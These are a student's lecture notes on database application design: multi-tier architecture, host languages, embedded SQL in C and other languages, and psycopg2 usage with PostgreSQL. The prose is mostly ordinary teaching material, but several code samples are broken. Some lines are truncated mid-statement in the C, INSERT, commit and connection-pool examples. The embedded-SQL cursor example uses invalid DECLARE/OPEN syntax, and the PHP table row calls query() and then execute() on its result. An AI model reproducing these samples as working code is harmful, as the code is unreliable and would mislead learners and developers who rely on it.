Week 7 Notes - DBMS

Prof. Partha Pratham Das, IIT KGP

Notes by Adarsh (23f2003570)

L7.1: Application Design and Development/1: Architecture (31:21)

Tiers in a Database System

In database architecture, the term **"tiers"** refers to the layers or levels within a system that are responsible for different functions of data processing, management, and interaction. Tiers help in organizing the database structure in a way that promotes scalability, efficiency, maintainability, and separation of concerns. Typically, in modern database architecture, systems are designed using a **multi-tier** model where different tiers handle specific roles. The most common tiers are:

1. **Presentation Tier (Client Tier)**:

- **Purpose**: This is the topmost layer where users interact with the system. It is often referred to as the **User Interface (UI)** layer.
- **Components**: This tier includes the client applications or web browsers that users use to access the system. It could be a desktop application, a mobile app, or a web front-end.
- **Responsibilities**:
    - Handling user input and displaying the results.
    - Sending requests to the application or business logic layer (the next tier).
    - Displaying the results from the data stored in the database.
- **Example**: A web page that allows users to search for products in an online store is part of the presentation tier.

2. **Application Tier (Business Logic Tier)**:

- **Purpose**: This tier contains the core business logic and processing. It acts as an intermediary between the presentation tier and the data tier.
- **Components**: This includes the business rules, algorithms, and processing logic. It can be a set of application servers, APIs, or microservices that implement the application's functionalities.
- **Responsibilities**:
    - Processing user inputs and making logical decisions based on business rules.
    - Querying the database (via SQL or other database query languages).
    - Handling data validation and enforcing business logic before interacting with the database.
    - Coordinating between the client (presentation tier) and database (data tier).
- **Example**: In an e-commerce platform, the application tier may process the checkout process, such as verifying inventory, applying discounts, or calculating shipping costs.

3. **Data Tier (Database Tier)**:

- **Purpose**: The data tier is where the actual data is stored and managed. It can include databases, file systems, and other persistent storage mechanisms.
- **Components**: This tier typically consists of one or more **database management systems (DBMS)** such as MySQL, PostgreSQL, Oracle, or NoSQL databases like MongoDB, depending on the system's needs.
- **Responsibilities**:
    - Storing, retrieving, and managing the data.
    - Ensuring data integrity, security, and consistency.
    - Handling database queries and updates as requested by the application tier.
    - Managing transactions, backups, and performance tuning (e.g., indexing).
- **Example**: A relational database that stores customer data, product details, and transaction records would be part of the data tier.

Other Possible Tiers:

1. **Integration Tier (Middleware)**:
    - Sometimes, an additional integration layer is used to connect various systems and services, especially in complex enterprise environments. This middleware can handle the communication between different systems, such as between multiple databases, services, or external APIs.
2. **Caching Tier**:
    - In some architectures, a dedicated tier for caching (e.g., using Redis, Memcached) is implemented to improve performance by storing frequently accessed data temporarily, reducing the load on the database tier.
3. **Security Tier**:
    - Security mechanisms such as authentication, authorization, and encryption are sometimes treated as a separate tier. This layer is responsible for ensuring that the system is secure and that data is protected.

Multi-Tier Database Architectures

Two-Tier Architecture:

- In a **two-tier** model, the system is divided into just two main layers: the **client (presentation)** tier and the **database (data)** tier. The client directly communicates with the database for data retrieval and updates. While simpler, this architecture may not scale well for complex applications.

Three-Tier Architecture:

- The **three-tier** model is a common architecture where the system is split into three layers: the **presentation**, **application (business logic)**, and **data** tiers. This separation enhances scalability, maintainability, and flexibility by isolating user interactions, business logic, and data management into different layers.

N-Tier Architecture:

- For larger, more complex systems, an **n-tier** architecture may be used. Here, there are multiple layers for handling specific concerns, such as **web servers**, **application servers**, **integration layers**, **caching**, **security**, etc. This allows for greater modularity, improved performance, and more granular control over each component.

Advantages of Multi-Tier Architecture

- **Scalability**: Each tier can be scaled independently. For instance, if the database becomes a bottleneck, you can scale the data tier separately from the application or presentation tiers.
- **Maintainability**: With separate tiers, each layer can be modified, updated, or replaced without affecting the others. For example, changes to the UI can be made without altering the database.
- **Security**: Sensitive data can be isolated in the data tier, with controlled access via the application tier, reducing exposure to potential threats.
- **Performance**: Optimizing each layer (e.g., caching at the presentation tier or using efficient queries at the database tier) can help improve overall system performance.

L7.2: Application Design and Development/2: Web Applications (31:52)

L7.3: Application Design and Development/3: SQL and Native Language (33:39)

Host Language

A **host language** is a programming language in which other languages (often referred to as **embedded languages** or **scripting languages**) can be integrated or embedded. In this context, the host language provides the environment in which the embedded language operates, enabling the two languages to interact with each other and perform specific tasks.

Key Characteristics of Host Languages:

1. **Primary Environment**: The host language is the primary language or environment in which an application is developed. It typically provides the framework or infrastructure for the entire application.
2. **Supports Embedding/Integration**: The host language allows embedded languages or scripts to be executed within it. This could mean calling or embedding a scripting language for specific tasks such as text processing, automation, or customization.
3. **Control of Execution**: The host language controls the execution flow and provides access to resources like memory, file systems, and I/O operations. It interacts with the embedded language through API calls, libraries, or interfaces.
4. **Provides Access to System Resources**: The host language often gives the embedded language access to system resources, such as variables, data structures, and functions defined in the host.

How Host Languages Are Used

Host languages are often used to integrate **scripting languages** into larger applications or systems to extend functionality without the need for recompiling or rebuilding the host application. This is common in scenarios where flexibility, rapid prototyping, or user customization is required.

Examples of Host Languages and Their Embedded Languages:

Host Language	Embedded Language	Example Use Case	Description
C / C++	Python, Lua, Tcl, etc.	Scripting in games, system programming	C/C++ applications can embed Python or Lua to allow runtime scripting, such as for game logic or automation.
Java	JavaScript, Groovy, etc.	Dynamic scripting in Java applications	Java applications can embed JavaScript (via Rhino or Nashorn) for adding flexible scripting capabilities.
JavaScript (Node.js)	Python, Lua, etc.	Backend scripting, web scraping	Node.js can host other scripting languages (e.g., Python) for web scraping tasks or data processing.
HTML/JavaScript	SQL (via AJAX)	Dynamic web page updates with server interaction	JavaScript can be used in combination with SQL for interactive web applications (using AJAX to fetch data).
.NET (C#, VB.NET)	IronPython, JScript, etc.	Scripting in .NET applications	.NET applications can use IronPython to execute Python code directly within a C# environment for customization.
Perl	Shell, AWK, etc.	Text processing, report generation	Perl often acts as a host language to invoke system scripts written in Bash or AWK for text manipulation.
MATLAB	Python, JavaScript	Extending MATLAB with additional computational features	MATLAB can call Python or JavaScript for advanced computation or to leverage specific libraries not available in MATLAB.
Ruby	Ruby on Rails (Custom Scripts)	Web development, server-side scripting	Ruby on Rails can host custom Ruby scripts to extend the functionality of a web application.

Host Language Usage Scenarios

1. **Extensibility**: A host language can allow external scripting languages to add features or extend the program's capabilities. For instance, a game engine written in C++ might use Lua to script game logic or event handling. This allows non-developers (e.g., game designers) to modify behavior without altering the core engine.
2. **Customizability**: Many applications (like web servers or content management systems) expose scripting or embedding APIs, letting end users or administrators write scripts that modify the behavior of the application. A good example is WordPress, which uses PHP (host language) and allows users to create custom plugins or scripts.
3. **Rapid Prototyping**: Host languages that embed scripting languages (e.g., Python in C++) allow developers to rapidly test and prototype ideas, making them more agile in developing new features or testing changes without needing to compile the entire application.
4. **Cross-Language Interoperability**: In some cases, the host language enables the integration of functionality from multiple different languages. For example, .NET allows using languages like C#, VB.NET, and Python to work together within the same application.

Benefits of Using Host Languages:

- **Separation of Concerns**: Embedding a scripting language within a host allows for separating the core application logic (written in a compiled, efficient language like C++) from higher-level scripting logic that may change frequently or needs to be customizable.
- **Flexibility**: Developers can dynamically alter functionality, update scripts, or handle specific tasks with less overhead compared to modifying the host language itself.
- **Interactivity**: Many interactive applications (e.g., games, web apps) use embedded scripting to provide a more dynamic user experience. Non-technical users or designers can write scripts to customize behavior without requiring coding knowledge.
- **Performance**: The host language (often compiled) provides high performance for resource-heavy operations, while the scripting language (often interpreted) is used for lighter, flexible, high-level tasks.

Challenges of Using Host Languages:

- **Performance Overhead**: Depending on how the embedded language is executed (e.g., through an interpreter), there may be a performance penalty. Calls between the host and embedded language could introduce latency.
- **Complexity**: Embedding another language within the host can add complexity to the development process, requiring developers to manage multiple languages and understand how they interact.
- **Debugging and Error Handling**: Debugging can become more difficult when multiple languages are involved, as errors in the embedded script can affect the behavior of the host application.

Embedded SQL (ESQL)

Embedded SQL refers to the integration of **SQL queries** directly into a programming language (such as C, Java, or Python) to allow the application to interact with a relational database. Instead of calling a database separately (like through a command-line SQL interface), SQL statements are embedded within the host programming language and executed as part of the application logic.

The primary goal of embedded SQL is to enable applications to perform database operations (such as querying, inserting, updating, and deleting records) while keeping the benefits of using a host programming language (e.g., C, Java). The SQL statements in embedded SQL are processed by a **precompiler**, which translates SQL code into calls to the underlying database management system (DBMS).

How Embedded SQL Works:

1. **Host Language**: This is the programming language (e.g., C, Java, or COBOL) in which the SQL commands are embedded.
2. **Embedded SQL Statements**: These are SQL commands written within the host language code using special syntax.
3. **Precompiler**: A tool that processes the embedded SQL code before compiling the host language code. The precompiler converts the SQL statements into calls that can be understood by the DBMS.
4. **Database Connection**: The host language uses an API (like ODBC or JDBC) to connect to the database to execute the SQL statements.

Key Components of Embedded SQL:

- **Embedded SQL statements** are generally written in a specific syntax that distinguishes them from regular programming code.
- SQL statements in embedded SQL can interact with variables in the host language.
- The embedded SQL is precompiled into function calls and data handling code by the **SQL precompiler** before being compiled into executable code.

Embedded SQL Syntax Overview:

1. **Host Variables**: These are variables declared in the host language (e.g., C) that can hold values from the SQL queries.
2. **SQL Statements**: Regular SQL queries or commands (e.g., `SELECT`, `INSERT`, `UPDATE`, `DELETE`).
3. **SQL Delimiters**: In most embedded SQL implementations, SQL statements are enclosed between special delimiters (such as `EXEC SQL` and `;`).

General Steps in Embedded SQL:

1. **Declare Host Variables**: Variables in the host language that will be used to pass data to and from the SQL statements.
2. **Write SQL Statements**: SQL commands are written as part of the host language code, often between special preprocessor directives.
3. **Precompile the Code**: The SQL statements are precompiled into function calls.
4. **Link with DBMS Libraries**: After precompiling, the code is linked with the necessary DBMS libraries (e.g., Oracle, MySQL, or SQL Server libraries).

Example of Embedded SQL in C:

Here's a simple example of embedded SQL in **C** that connects to a database and retrieves a record using a `SELECT` query.

Example Scenario:

We want to query a database to get the **name** and **age** of an employee with a particular **employee ID**.

Embedded SQL Example in C:

```c
#include <stdio.h>
#include <sqlca.h>  // Include the SQL communication area (specific to Oracle,

int main() {
    /* Declare host variables to store SQL query result */
    int emp_id = 101;
    char emp_name[50];
    int emp_age;

    /* Connect to the database */
    EXEC SQL CONNECT TO my_database USER my_user IDENTIFIED BY my_password;

    if (sqlca.sqlcode != 0) {
        printf("Error connecting to database\n");
        return 1;
    }

    /* Execute a SELECT statement to fetch employee details */
    EXEC SQL DECLARE C1 CURSOR FOR emp_cursor;
    EXEC SQL OPEN C1 FOR
        SELECT name, age
        FROM employees
        WHERE employee_id = :emp_id;

    if (sqlca.sqlcode != 0) {
        printf("Error executing query\n");
        return 1;
    }

    /* Fetch the result from the query into host variables */
    EXEC SQL FETCH C1 INTO :emp_name, :emp_age;

    if (sqlca.sqlcode != 0) {
        printf("Error fetching data\n");
        return 1;
    }

    /* Print the result */
    printf("Employee Name: %s\n", emp_name);
    printf("Employee Age: %d\n", emp_age);

    /* Close the cursor */
    EXEC SQL CLOSE C1;

    /* Disconnect from the database */
    EXEC SQL COMMIT;

    /* End the program */
    return 0;
}
```

Explanation of the Code:

1. **Include SQLCA Header**: The `sqlca.h` header contains the necessary structures for interacting with the DBMS. Different DBMSs might have different headers (e.g., `sql.h` for SQL Server, `sqlca.h` for Oracle).
2. **Host Variables**:
    - `emp_id`, `emp_name`, and `emp_age` are **host variables** in C that will store the data retrieved from the database.
    - `emp_id` is assigned a value of `101`, which will be used in the `WHERE` clause of the `SELECT` query.
3. **SQL CONNECT Statement**:
    - `EXEC SQL CONNECT TO my_database` connects the application to the database with the provided username and password.
4. **DECLARE CURSOR**:
    - `EXEC SQL DECLARE C1 CURSOR FOR emp_cursor` creates a cursor (`C1`) to manage the result set of the `SELECT` query.
5. **SQL OPEN Statement**:
    - `EXEC SQL OPEN C1 FOR SELECT ...` executes the `SELECT` statement. The query fetches the employee's name and age where the `employee_id` matches the host variable `emp_id`.
6. **SQL FETCH Statement**:
    - `EXEC SQL FETCH C1 INTO :emp_name, :emp_age;` fetches the result of the query and stores the name and age into the host variables `emp_name` and `emp_age`.
7. **Error Checking**:
    - `sqlca.sqlcode` is checked after each SQL operation to ensure no errors occurred. A non-zero value indicates an error.
8. **SQL COMMIT**:
    - The `EXEC SQL COMMIT;` ensures that any changes made to the database are committed. For a `SELECT` query, this is not necessary but is often included in real applications for transactions.
9. **SQL CLOSE Statement**:
    - `EXEC SQL CLOSE C1;` closes the cursor once all data has been fetched.

Advantages of Embedded SQL:

1. **Performance**: Embedded SQL can be more efficient than external calls to the DBMS because it allows direct interaction between the host language and the DBMS without the need for separate application-level database calls.
2. **Seamless Integration**: Since the SQL statements are embedded within the host language code, developers can handle both the application logic and database interaction in a single program.
3. **Error Handling**: It provides a structured way to handle SQL errors using the SQLCODE variable (which indicates success or failure).

Disadvantages of Embedded SQL:

1. **Portability**: The SQL syntax can be DBMS-specific, meaning code written for one DBMS may not work with another without modification (e.g., MySQL vs. Oracle).
2. **Precompilation Step**: The need to precompile SQL code before compiling the application adds an extra step to the development process.
3. **Complexity**: Embedding SQL in a host language can make the code harder to maintain, especially for complex applications with many SQL statements.

Embedded SQL declarations

SQLJ

```
#sql [ctx] {
  INSERT INTO employee
    (ID,  NAME, AGE, SALARY)
  VALUES
    (:id, :name, :age, :salary)
};
```

Programming Language	SQL Declaration Example	Description	Example Use Case
C	`EXEC SQL SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE id = :emp_id;`	SQL statements are written within `EXEC SQL` and enclosed by delimiters. `:emp_name` and `:emp_age` are host variables.	Retrieving employee information based on `emp_id`.
C++	`EXEC SQL SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE emp_id = :id;`	Similar to C, using `EXEC SQL` to declare and execute SQL queries with host variables.	Querying database for employee details using C++.
Java (JDBC with Embedded SQL)	`Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT name, age FROM employees WHERE emp_id = " + empId);`	Java uses JDBC to execute SQL queries. SQL is not directly embedded, but the query is executed in the host language context.	Querying an employee record in a Java application.

Programming Language	SQL Declaration Example	Description	Example Use Case
COBOL	`EXEC SQL SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE emp_id = :emp_id; END-EXEC.`	COBOL uses EXEC SQL to embed SQL code. Host variables (e.g., emp_name, emp_age) must be prefixed with :.	Fetching employee details in a COBOL program.
Python (via cx_Oracle or SQLAlchemy)	`cursor.execute("SELECT name, age FROM employees WHERE emp_id = :emp_id", {'emp_id': emp_id})`	Python uses libraries like cx_Oracle or SQLAlchemy to interface with databases. SQL is not "embedded" in the traditional sense but executed as a string within Python.	Executing a parameterized query in Python.
Perl	`my $sth = $dbh->prepare("SELECT name, age FROM employees WHERE emp_id = ?"); $sth->execute($emp_id);`	Perl uses DBI to connect to databases, and SQL queries are executed dynamically rather than directly embedded in the code.	Performing a query to retrieve employee data.
PHP	`$result = $pdo->query("SELECT name, age FROM employees WHERE emp_id = :emp_id"); $result->execute(['emp_id' => $emp_id]);`	In PHP, embedded SQL is typically handled through PDO (PHP Data Objects), where SQL queries are executed via PHP code.	Querying a database for an employee's information.
SQL Server (T-SQL in C#)	`using(SqlCommand cmd = new SqlCommand("SELECT name, age FROM employees WHERE emp_id = @emp_id", connection)) {`	C# with SQL Server uses SQL commands via ADO.NET or	Querying employee data in a C# application

Programming Language	SQL Declaration Example	Description	Example Use Case
	`cmd.Parameters.AddWithValue("@emp_id", emp_id);}`	Entity Framework to interact with databases.	with SQL Server.
Ruby (ActiveRecord)	`employee = Employee.find_by(emp_id: emp_id)`	Ruby uses ActiveRecord (an ORM) to abstract SQL queries, so SQL is not "embedded" directly but executed via Ruby methods.	Retrieving employee details in a Ruby on Rails app.
Swift (Core Data or SQLite)	`let fetchRequest: NSFetchRequest<Employee> = Employee.fetchRequest() fetchRequest.predicate = NSPredicate(format: "emp_id == %@", empId)`	Swift uses Core Data or SQLite for database interaction, with SQL queries often abstracted or executed indirectly via methods.	Fetching an employee record from a local database in Swift.
JavaScript (Node.js with SQL)	`db.query("SELECT name, age FROM employees WHERE emp_id = ?", [emp_id], (err, results) => {...});`	In Node.js, SQL queries are executed through libraries such as `mysql2` or pg, not traditionally embedded.	Querying a database in a Node.js application.
Go (Golang)	`rows, err := db.Query("SELECT name, age FROM employees WHERE emp_id = ?", empId)`	Go uses the `database/sql` package to execute SQL queries dynamically with prepared statements.	Retrieving employee data in a Go application.
VB.NET (ADO.NET)	`Dim cmd As New SqlCommand("SELECT name, age FROM employees WHERE emp_id = @emp_id", conn) cmd.Parameters.AddWithValue("@emp_id", emp_id)`	SQL is executed using ADO.NET in VB.NET through `SqlCommand`. SQL statements are passed as strings.	Querying employee records in a VB.NET application.

Programming Language	SQL Declaration Example	Description	Example Use Case
Ada	`declare EmpName varchar(100); EmpAge integer; begin SELECT name, age INTO EmpName, EmpAge FROM employees WHERE emp_id = :emp_id;`	Ada supports interfacing with SQL databases but typically through packages or interfaces like `PostgreSQL_Ada`.	Querying data from a database in Ada.
Fortran (using SQL bindings)	`SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE emp_id = :emp_id;`	Fortran can interface with SQL databases using SQL bindings, though not common.	Querying employee information in a Fortran program.

Embedded SQL Commands

Embedded SQL Command	Syntax	Description	Example
`EXEC SQL SELECT`	`EXEC SQL SELECT column1, column2 INTO :host_var1, :host_var2 FROM table_name WHERE condition;`	Executes a `SELECT` statement and retrieves data from the database into host variables.	`EXEC SQL SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE emp_id = :emp_id;`
`EXEC SQL INSERT`	`EXEC SQL INSERT INTO table_name (column1, column2) VALUES (:host_var1, :host_var2);`	Executes an `INSERT` statement to add new rows to a table using host variables for the values.	`EXEC SQL INSERT INTO employees (emp_id, name, age) VALUES (:emp_id, :emp_name, :emp_age);`
`EXEC SQL UPDATE`	`EXEC SQL UPDATE table_name SET column1 = :host_var1 WHERE condition;`	Executes an `UPDATE` statement to modify existing rows in a table. The host variable values are used in the query.	`EXEC SQL UPDATE employees SET age = :new_age WHERE emp_id = :emp_id;`
`EXEC SQL DELETE`	`EXEC SQL DELETE FROM table_name WHERE condition;`	Executes a `DELETE` statement to remove rows from	`EXEC SQL DELETE FROM employees WHERE emp_id = :emp_id;`

Embedded SQL Command	Syntax	Description	Example
		a table based on a condition.	
EXEC SQL COMMIT	`EXEC SQL COMMIT;`	Commits the current transaction to the database. This is necessary for saving changes made by `INSERT`, `UPDATE`, and `DELETE`.	`EXEC SQL COMMIT;`
EXEC SQL ROLLBACK	`EXEC SQL ROLLBACK;`	Rolls back (undoes) any changes made during the current transaction.	`EXEC SQL ROLLBACK;`
EXEC SQL DECLARE CURSOR	`EXEC SQL DECLARE cursor_name CURSOR FOR SQL_statement;`	Declares a cursor to be used for retrieving rows from the result set of a `SELECT` query.	`EXEC SQL DECLARE emp_cursor CURSOR FOR SELECT name, age FROM employees WHERE emp_id = :emp_id;`
EXEC SQL OPEN CURSOR	`EXEC SQL OPEN cursor_name;`	Opens a cursor that was previously declared, allowing the SQL query to be executed and data to be fetched.	`EXEC SQL OPEN emp_cursor;`
EXEC SQL FETCH	`EXEC SQL FETCH cursor_name INTO :host_var1, :host_var2;`	Fetches the next row from an open cursor into the specified host variables.	`EXEC SQL FETCH emp_cursor INTO :emp_name, :emp_age;`
EXEC SQL CLOSE CURSOR	`EXEC SQL CLOSE cursor_name;`	Closes an open cursor, releasing any resources associated with it.	`EXEC SQL CLOSE emp_cursor;`
EXEC SQL DECLARE	`EXEC SQL DECLARE cursor_name CURSOR FOR SELECT statement;`	Declares a cursor for use in a subsequent `SELECT` statement.	`EXEC SQL DECLARE emp_cursor CURSOR FOR SELECT name, age FROM employees;`
EXEC SQL DESCRIBE	`EXEC SQL DESCRIBE table_name INTO`	Describes the structure of a table	`EXEC SQL DESCRIBE employees INTO`

Embedded SQL Command	Syntax	Description	Example
	`:host_var;`	or SQL result set. Typically used for metadata retrieval in dynamic queries.	`:table_description;`
EXEC SQL SET	`EXEC SQL SET variable_name = value;`	Sets a session variable or SQL variable within the context of the SQL engine.	`EXEC SQL SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;`
EXEC SQL ALTER	`EXEC SQL ALTER TABLE table_name ADD column_name datatype;`	Executes an `ALTER TABLE` SQL command to modify the structure of a table, such as adding or deleting columns.	`EXEC SQL ALTER TABLE employees ADD email VARCHAR(100);`
EXEC SQL CREATE	`EXEC SQL CREATE TABLE table_name (column1 datatype, column2 datatype, ...);`	Executes a `CREATE TABLE` SQL statement to create a new table in the database.	`EXEC SQL CREATE TABLE employees (emp_id INT, name VARCHAR(50), age INT);`
EXEC SQL DROP	`EXEC SQL DROP TABLE table_name;`	Executes a `DROP TABLE` SQL command to delete an existing table from the database.	`EXEC SQL DROP TABLE temp_employees;`

Explanation of Each Command:

1. **`SELECT`**:
    - Retrieves data from the database. The result is stored in host variables, which are specified after `INTO`.
2. **`INSERT`**:
    - Adds a new record to a table using host variables to pass values for the new record.
3. **`UPDATE`**:
    - Modifies existing data in a table. It sets the column values to those stored in host variables, based on a specified condition.
4. **`DELETE`**:
    - Deletes records from a table that match the specified condition.

5. **`COMMIT`**:
    - Commits all changes made during the transaction to the database.
6. **`ROLLBACK`**:
    - Rolls back the changes made in the current transaction, essentially undoing them.
7. **`DECLARE CURSOR`**:
    - Declares a cursor that will be used to retrieve data row by row from a `SELECT` query result.
8. **`OPEN CURSOR`**:
    - Opens the declared cursor, starting the process of fetching rows from the query result.
9. **`FETCH`**:
    - Retrieves the next row from an open cursor and stores it in host variables.
10. **`CLOSE CURSOR`**:

- Closes an open cursor, releasing any resources that were being used by it.

11. **`DESCRIBE`**:

- Retrieves metadata about a table or result set (e.g., column names, data types).

12. **`SET`**:

- Sets or modifies session or system variables. In some databases, this command is used to control aspects of the transaction or session.

13. **`ALTER`**:

- Modifies the structure of a table, such as adding or removing columns.

14. **`CREATE`**:

- Creates a new table or other database object (such as indexes or views).

15. **`DROP`**:

- Deletes an existing table or database object.

Example of Using Embedded SQL in C (SELECT Query):

```c
#include <stdio.h>
#include <sqlca.h>

int main() {
    int emp_id = 101;
    char emp_name[50];
    int emp_age;

    /* Connect to the database */
    EXEC SQL CONNECT TO my_database USER my_user IDENTIFIED BY my_password;

    /* Execute SELECT query */
    EXEC SQL SELECT name, age INTO :emp_name, :emp_age FROM employees WHERE em

    if (sqlca.sqlcode == 0) {
        printf("Employee Name: %s\n", emp_name);
        printf("Employee Age: %d\n", emp_age);
    } else {
        printf("Error executing query\n");
    }

    /* Disconnect from the database */
    EXEC SQL COMMIT;

    return 0;
}
```

L7.4: Application Design and Development/4: Python and PostgreSQL (32:35)

psycopg2 Overview

- **Installation**: You can install `psycopg2` via `pip`:

  ```
  pip install psycopg2
  ```

  Alternatively, you can install `psycopg2-binary`, a precompiled version that simplifies installation:

  ```
  pip install psycopg2-binary
  ```

  Note: The `psycopg2-binary` version is easier to install, but `psycopg2` (the non-binary version) is preferred for production environments as it allows more flexibility in compiling for specific platforms.

Basic Usage of psycopg2

1. **Connecting to the PostgreSQL Database**:

To interact with PostgreSQL, you need to first establish a connection.

```
import psycopg2
import sys, os

database = sys.argv[1]
user = os.environ.get('PGUSER')
password = os.environ.get('PGPASSWORD')
host = os.environ.get('PGHOST')
port = os.environ.get('PGPORT')

# Define the connection parameters
conn = psycopg2.connect(
    dbname=database,  # Replace with your database name
    user=user,         # Replace with your PostgreSQL username
    password=password,     # Replace with your password
    host=host,             # Database server host (usually 'localhost')
    port=port                  # Default PostgreSQL port
)

# Create a cursor object to interact with the database
cur = conn.cursor()

# Don't forget to close the cursor and connection when done
cur.close()
conn.close()
```

---

2. **Executing SQL Queries**:

After establishing the connection, you can execute various SQL commands using the `cursor` object.

Example: SELECT Query

```python
import psycopg2

# Connect to the database
# Create a cursor
cur = conn.cursor()

# Execute a SELECT query
cur.execute("SELECT id, name, age FROM employees WHERE department = 'HR';")

# Fetch results
rows = cur.fetchall()

# Print the result
for row in rows:
    print(f"ID: {row[0]}, Name: {row[1]}, Age: {row[2]}")

# Close the cursor and connection
cur.close()
conn.close()
```

Example: INSERT Query

```python
import psycopg2

# Create a cursor
cur = conn.cursor()

# Execute an INSERT query
cur.execute("INSERT INTO employees (id, name, age, department) VALUES (%s, %s,
            (101, 'John Doe', 28, 'HR'))

# Commit the transaction
conn.commit()

# Close the cursor and connection
cur.close()
conn.close()
```

Example: UPDATE Query

```
import psycopg2

# Connect to the database
# Create a cursor
cur = conn.cursor()

# Execute an UPDATE query
cur.execute("UPDATE employees SET age = %s WHERE id = %s", (29, 101))

# Commit the changes
conn.commit()

# Close the cursor and connection
cur.close()
conn.close()
```

Example: DELETE Query

```
import psycopg2

# Create a cursor
cur = conn.cursor()

# Execute a DELETE query
cur.execute("DELETE FROM employees WHERE id = %s", (101,))

# Commit the transaction
conn.commit()

# Close the cursor and connection
cur.close()
conn.close()
```

Best Practices for Using psycopg2

1. Use Context Managers for Database Connections:

It's a good practice to use Python's **context manager (`with` statement)** for managing database connections and cursors. This ensures that resources are properly cleaned up even in the case of exceptions.

```python
import psycopg2

# Using context manager for connection and cursor
with psycopg2.connect(
    dbname="your_database_name",
    user="your_username",
    password="your_password",
    host="localhost",
    port="5432"
) as conn:
    with conn.cursor() as cur:
        cur.execute("SELECT id, name FROM employees;")
        rows = cur.fetchall()
        for row in rows:
            print(f"ID: {row[0]}, Name: {row[1]}")
```

Using `with` automatically handles closing the cursor and connection, even if an exception is raised during execution.

---

2. **Use Parameterized Queries to Prevent SQL Injection**:

Always use **parameterized queries** (also called **prepared statements**) instead of string concatenation to avoid **SQL injection attacks**. `psycopg2` supports parameterized queries using placeholders.

```python
# Correct way: Parameterized query
cur.execute("SELECT * FROM employees WHERE name = %s", ('John',))

# Incorrect (vulnerable to SQL Injection)
# cur.execute("SELECT * FROM employees WHERE name = '" + name + "'")
```

In parameterized queries, the placeholders (`%s`) are used for passing values safely.

---

3. **Use `conn.commit()` for Transactions**:

When performing **data modification operations** (`INSERT`, `UPDATE`, `DELETE`), don't forget to **commit** the changes to the database with `conn.commit()`. Without committing, the changes won't be saved.

```python
# Example: Committing changes
cur.execute("INSERT INTO employees (id, name) VALUES (%s, %s)", (102, 'Jane Do
conn.commit()
```

For **read-only operations**, such as `SELECT`, you don't need to commit.

---

4. **Use `fetchall()`, `fetchone()`, or `fetchmany()` Appropriately**:

When retrieving data, use appropriate methods based on the size of the result set.

- `fetchall()` – Retrieves all rows from the result set.
- `fetchone()` – Retrieves the next row of a query result.
- `fetchmany(n)` – Retrieves the next n rows.

```
# Example: Fetch one row
cur.execute("SELECT id, name FROM employees WHERE id = %s", (101,))
row = cur.fetchone()
if row:
    print(row)
```

- **Use `fetchall()` with caution**: It may load a large number of rows into memory, which can be inefficient for large datasets.

---

5. **Handle Exceptions Properly**:

Use exception handling (`try/except`) to manage potential errors such as connection issues or query failures. `psycopg2` provides a set of exceptions for specific database-related errors.

```
import psycopg2
from psycopg2 import sql

try:
    conn = psycopg2.connect..
    cur = conn.cursor()
    cur.execute("SELECT * FROM non_existent_table;")
    conn.commit()

except psycopg2.Error as e:
    print("Database error:", e)
    conn.rollback()  # Rollback in case of error

finally:
    if conn:
        cur.close()
        conn.close()
```

---

6. **Use Connection Pooling for Performance**:

If your application needs to handle multiple concurrent database connections, **connection pooling** can help improve performance. `psycopg2` can be integrated with **`psycopg2.pool`** for pooling connections.

```python
from psycopg2 import pool

# Create a connection pool
connection_pool = psycopg2.pool.SimpleConnectionPool(1, 20, dbname="your_datab

# Get a connection from the pool
conn = connection_pool.getconn()

# Use the connection
with conn.cursor() as cur:
    cur.execute("SELECT * FROM employees")
    rows = cur.fetchall()

# Return the connection to the pool
connection_pool.putconn(conn)
```

Summary of Best Practices:

1. **Use context managers (`with` statement)** to manage connections and cursors.
2. **Always use parameterized queries** to prevent SQL injection.
3. **Commit** changes for data modification operations (`INSERT`, `UPDATE`, `DELETE`).
4. **Fetch data efficiently** with methods like `fetchall()`, `fetchone()`, or `fetchmany()`.
5. **Handle exceptions** and roll back if needed to avoid inconsistent states.
6. **Consider using connection pooling** for applications with high concurrency requirements

psycopg2 SQL Commands

In `psycopg2`, a **cursor** is a pointer to a result set that allows you to iterate over the rows returned by a SQL query. Cursors are fundamental for retrieving data and interacting with the database. Below is a table that summarizes the key **cursor commands** and methods in `psycopg2`, including their descriptions and usage examples.

Cursor Command	Description	Syntax / Usage Example	Explanation
`cursor.execute()`	Executes a single SQL query. Can be used for **SELECT**, **INSERT**, **UPDATE**, **DELETE**, etc.	`cur.execute("SELECT id, name FROM employees WHERE age > %s;", (30,))`	Executes an SQL statement, such as a query or data manipulation operation. Parameters can be passed safely.

Cursor Command	Description	Syntax / Usage Example	Explanation
`cursor.fetchall()`	Fetches all rows of a query result. Returns them as a list of tuples.	`rows = cur.fetchall()`	Returns all rows in the result set. Useful for small to medium result sets but can be memory intensive.
`cursor.fetchone()`	Fetches the next row of the query result. Returns a single tuple.	`row = cur.fetchone()`	Retrieves the next row from the result set. If no more rows, returns `None`.
`cursor.fetchmany(n)`	Fetches the next n rows from the query result. Returns a list of tuples.	`rows = cur.fetchmany(5)`	Retrieves the next n rows from the result set. Can be used to limit memory usage when dealing with large sets.
`cursor.scroll(offset, mode)`	Scrolls the cursor's result set to a specific position.	`cur.scroll(2, mode='absolute')`	Moves the cursor's position. **`mode`** can be **`absolute`** (absolute position) or **`relative`** (relative to current position).
`cursor.description`	Provides metadata about the columns in the result set, such as	`desc = cur.description`	Returns a tuple of column descriptions (name, type, display size,

Cursor Command	Description	Syntax / Usage Example	Explanation
	column names and types.		etc.) for the most recent query.
cursor.close()	Closes the cursor. It's good practice to close the cursor when done to release resources.	`cur.close()`	Closes the cursor and releases the database resources associated with it.
cursor.fetchone()	Retrieves one row from the result set. If no rows are left, returns None.	`row = cur.fetchone()`	Fetches the next row as a tuple. If no rows are available, returns None.
cursor.mogrify()	Returns the query with arguments formatted as a string (without executing the query).	`sql = cur.mogrify("SELECT * FROM employees WHERE age > %s", (30,))`	Useful for debugging or inspecting the SQL query with the parameters inserted. Returns a formatted string.
cursor.fetchmany(size)	Fetches the next `size` number of rows.	`rows = cur.fetchmany(10)`	Retrieves the next set of rows as a list of tuples.
